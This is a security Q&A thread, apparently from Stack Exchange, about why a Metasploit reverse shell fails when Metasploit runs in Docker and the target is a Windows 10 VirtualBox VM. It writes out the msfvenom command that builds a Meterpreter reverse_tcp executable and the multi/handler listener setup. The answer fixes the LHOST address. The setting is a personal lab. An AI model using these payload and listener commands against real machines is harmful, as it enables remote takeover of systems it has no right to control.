Information Security
windows metasploit virtualization meterpreter docker
Updated Fri, 20 May 2022 03:02:47 GMT

Metasploit reverse shell through docker and virtual box


I am running metasploit on docker from: remnux/metasploit and I want to open a reverse shell on a virtual machine running windows 10 in virtual box. The docker container and the vm run on the same host machine with ip: 192.168.10.1

I go:

 sudo docker run --rm  -it -p 8080:8080 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit

Then:

 msfvenom  -p windows/meterpreter/reverse_tcp --platform windows -a x86
 LHOST=192.168.10.1 LPORT=8080 -f exe -o file.exe

And fire up msfconsole:

msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
msf exploit(handler) > exploit
[-] Handler failed to bind to 192.168.10.1:8080:-  -
[*] Started reverse TCP handler on 0.0.0.0:8080 
[*] Starting the payload handler...

Finally I open up file.exe on the windows10 machine and nothing happens. I checked that port 8080 was open on the host machine and that the vm could ping the host machine at 192.168.10.1

My virtualbox network configuration is set to bridged adapter.

Moreover I have no antivirus running on this vm and windows defender is down.

Does anyone have any idea to why this is not working? Thank you in advance.




Solution

From my understanding you have the following:

  • 192.168.10.1 (host machine)
  • 192.168.10.2 (VM)
  • 172.17.0.x (docker w/ metasploit ... can be obtained via docker inspect <container id>)

Since you are running metasploit from 172.17.0.x you should instead set LHOST=172.17.0.x

This should work because the docker engine sets up a route on your host to direct traffic from 172.17.x.x to docker0 bridge

You might have to set this route in your local network router as well (172.17.x.x to 192.168.10.1)... because its possible your VM is not using your Host computer as a gateway ... and is instead talking to your actual network gateway (depends on how your VM is setup).





Comments (5)

  • +0 – Where did you get 172.17 from? — Feb 24, 2017 at 14:17  
  • +0 – "... can be obtained via docker inspect <container id>" — Feb 24, 2017 at 14:29  
  • +0 – K. I just don't see that in his question. Did some comments/answers get deleted? — Feb 24, 2017 at 14:31  
  • +0 – you dont see it in the question because its not in the question ... 172.17.x.x is the default docker range for new containers unless you change it ... and if you change it you already know what im talking about. — Feb 24, 2017 at 15:53  
  • +0 – This'll be the winner, shouldn't be any need for the routing from VM to container though as the port was exposed in the docker run statement. — Mar 04, 2017 at 09:27